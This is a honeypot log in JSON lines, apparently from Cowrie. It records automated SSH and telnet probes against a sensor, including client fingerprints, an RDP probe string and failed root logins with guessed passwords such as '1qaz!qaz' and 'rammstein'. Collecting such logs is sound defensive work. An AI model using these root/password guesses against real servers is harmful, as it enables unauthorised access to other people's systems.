{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55413,"dst_ip":"10.17.0.5","dst_port":22,"session":"851ad3af3160","protocol":"ssh","message":"New connection: 152.42.212.128:55413 (10.17.0.5:22) [session: 851ad3af3160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:41.233404Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:41.242402Z","src_ip":"152.42.212.128","session":"851ad3af3160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:41.246185Z","src_ip":"152.42.212.128","session":"851ad3af3160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.24772357940674,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:50.945890Z","src_ip":"152.42.224.71","session":"d5b744b00756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33098,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceed9bb0c907","protocol":"telnet","message":"New connection: 152.42.224.71:33098 (10.17.0.5:23) [session: ceed9bb0c907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:53.711869Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40110,"dst_ip":"159.203.135.109","dst_port":22,"session":"4428981cec63","protocol":"ssh","message":"New connection: 77.94.47.83:40110 (159.203.135.109:22) [session: 4428981cec63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:58.924543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:58.929610Z","src_ip":"77.94.47.83","session":"4428981cec63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:59.053995Z","src_ip":"77.94.47.83","session":"4428981cec63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!qaz","message":"login attempt [root/1qaz!qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:59.425011Z","src_ip":"77.94.47.83","session":"4428981cec63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:00.553202Z","src_ip":"77.94.47.83","session":"4428981cec63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.12784171104431,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:00.987522Z","src_ip":"152.42.224.71","session":"c021476e6dbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45304,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef2eb77d045e","protocol":"ssh","message":"New connection: 87.251.79.125:45304 (10.17.0.5:22) [session: ef2eb77d045e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:01.575294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:01.584325Z","src_ip":"87.251.79.125","session":"ef2eb77d045e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:01.665349Z","src_ip":"87.251.79.125","session":"ef2eb77d045e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololowka","message":"login attempt [root/lololowka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:01.890548Z","src_ip":"87.251.79.125","session":"ef2eb77d045e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:02.968083Z","src_ip":"87.251.79.125","session":"ef2eb77d045e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37858,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81d5168b515","protocol":"telnet","message":"New connection: 152.42.224.71:37858 (10.17.0.5:23) [session: d81d5168b515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:10.235186Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39468,"dst_ip":"10.17.0.5","dst_port":23,"session":"124ffa210d55","protocol":"telnet","message":"New connection: 152.42.224.71:39468 (10.17.0.5:23) [session: 124ffa210d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:16.702452Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":48678,"dst_ip":"159.203.135.109","dst_port":22,"session":"31fa45336593","protocol":"ssh","message":"New connection: 176.32.39.21:48678 (159.203.135.109:22) [session: 31fa45336593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:17.322899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:17.327615Z","src_ip":"176.32.39.21","session":"31fa45336593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:17.447256Z","src_ip":"176.32.39.21","session":"31fa45336593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adrenalin","message":"login attempt [root/adrenalin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:17.812092Z","src_ip":"176.32.39.21","session":"31fa45336593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:18.935013Z","src_ip":"176.32.39.21","session":"31fa45336593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.696317195892334,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:18.985635Z","src_ip":"152.42.224.71","session":"f3de401a639b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39474,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e7722ed307","protocol":"telnet","message":"New connection: 152.42.224.71:39474 (10.17.0.5:23) [session: c3e7722ed307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:19.905689Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33824,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e723851da3","protocol":"ssh","message":"New connection: 89.223.69.22:33824 (10.17.0.5:22) [session: 86e723851da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:33.174842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:33.180541Z","src_ip":"89.223.69.22","session":"86e723851da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:33.295591Z","src_ip":"89.223.69.22","session":"86e723851da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rammstein","message":"login attempt [root/rammstein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:33.641525Z","src_ip":"89.223.69.22","session":"86e723851da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:34.758577Z","src_ip":"89.223.69.22","session":"86e723851da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":42718,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a760f9c10fb","protocol":"ssh","message":"New connection: 147.45.199.80:42718 (10.17.0.5:22) [session: 3a760f9c10fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:34.915408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:34.928542Z","src_ip":"147.45.199.80","session":"3a760f9c10fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:35.027437Z","src_ip":"147.45.199.80","session":"3a760f9c10fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234565","message":"login attempt [root/1234565] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:35.324278Z","src_ip":"147.45.199.80","session":"3a760f9c10fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:36.426151Z","src_ip":"147.45.199.80","session":"3a760f9c10fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.164.190","src_port":42996,"dst_ip":"10.17.0.5","dst_port":22,"session":"324c943f576a","protocol":"ssh","message":"New connection: 107.6.164.190:42996 (10.17.0.5:22) [session: 324c943f576a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:37.377857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:37.382160Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:37.469984Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:cd:c9:b0:b3:29:16:54:41:1f:16:96:31:87:2d:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBmW1heRM/+YwZu8z71nQ/j7kLra3gxW8Work/C9n3eUwSiilfXQXGTRFTJPpj6B5BFLjzXjUgH9q3pgXJu0fk+SUWilIMTy3FN8fxHDTr7dFv4kW96qypcO0G7NZvSH83ic1cZ2BXQvuDZWN5uxAmND7+6CjjicQiyU5DlUWSSa2ulLkibfqrV5862K6oLXCgHtkcXuYE1DSB96Lon/ZFHDu+2DBVPnOZNGygB5n8zGiMeqYCuxeVVZfPe1MDgp0ruKTknSBaiCKQ33F+WaeOEHUWZ5j540u4kZDDUIEKXhL6SlS0WNeFa19eaULYsw1N2xFUUp7Qta7i9AyO3FWF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:cd:c9:b0:b3:29:16:54:41:1f:16:96:31:87:2d:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:37.889966Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:cd:c9:b0:b3:29:16:54:41:1f:16:96:31:87:2d:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBmW1heRM/+YwZu8z71nQ/j7kLra3gxW8Work/C9n3eUwSiilfXQXGTRFTJPpj6B5BFLjzXjUgH9q3pgXJu0fk+SUWilIMTy3FN8fxHDTr7dFv4kW96qypcO0G7NZvSH83ic1cZ2BXQvuDZWN5uxAmND7+6CjjicQiyU5DlUWSSa2ulLkibfqrV5862K6oLXCgHtkcXuYE1DSB96Lon/ZFHDu+2DBVPnOZNGygB5n8zGiMeqYCuxeVVZfPe1MDgp0ruKTknSBaiCKQ33F+WaeOEHUWZ5j540u4kZDDUIEKXhL6SlS0WNeFa19eaULYsw1N2xFUUp7Qta7i9AyO3FWF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:37.893934Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:ee:96:36:00:75:8b:99:78:5e:80:b6:db:b3:66:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGuQkCPQl08QaOPI8Solr6xO5+u64N0IZmcjXPjN13QC","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bc:ee:96:36:00:75:8b:99:78:5e:80:b6:db:b3:66:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:37.988205Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:ee:96:36:00:75:8b:99:78:5e:80:b6:db:b3:66:fd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGuQkCPQl08QaOPI8Solr6xO5+u64N0IZmcjXPjN13QC","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.000129Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:96:c2:e9:09:9d:a9:f0:a2:98:ba:b0:5f:f1:dc:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHmqFbavRFClDFyYoZfvAjGh/AotgxAgqSbMlaNPo5sI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 18:96:c2:e9:09:9d:a9:f0:a2:98:ba:b0:5f:f1:dc:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.091415Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:96:c2:e9:09:9d:a9:f0:a2:98:ba:b0:5f:f1:dc:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHmqFbavRFClDFyYoZfvAjGh/AotgxAgqSbMlaNPo5sI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:09:38.095634Z","src_ip":"107.6.164.190","session":"324c943f576a","protocol":"ssh"}
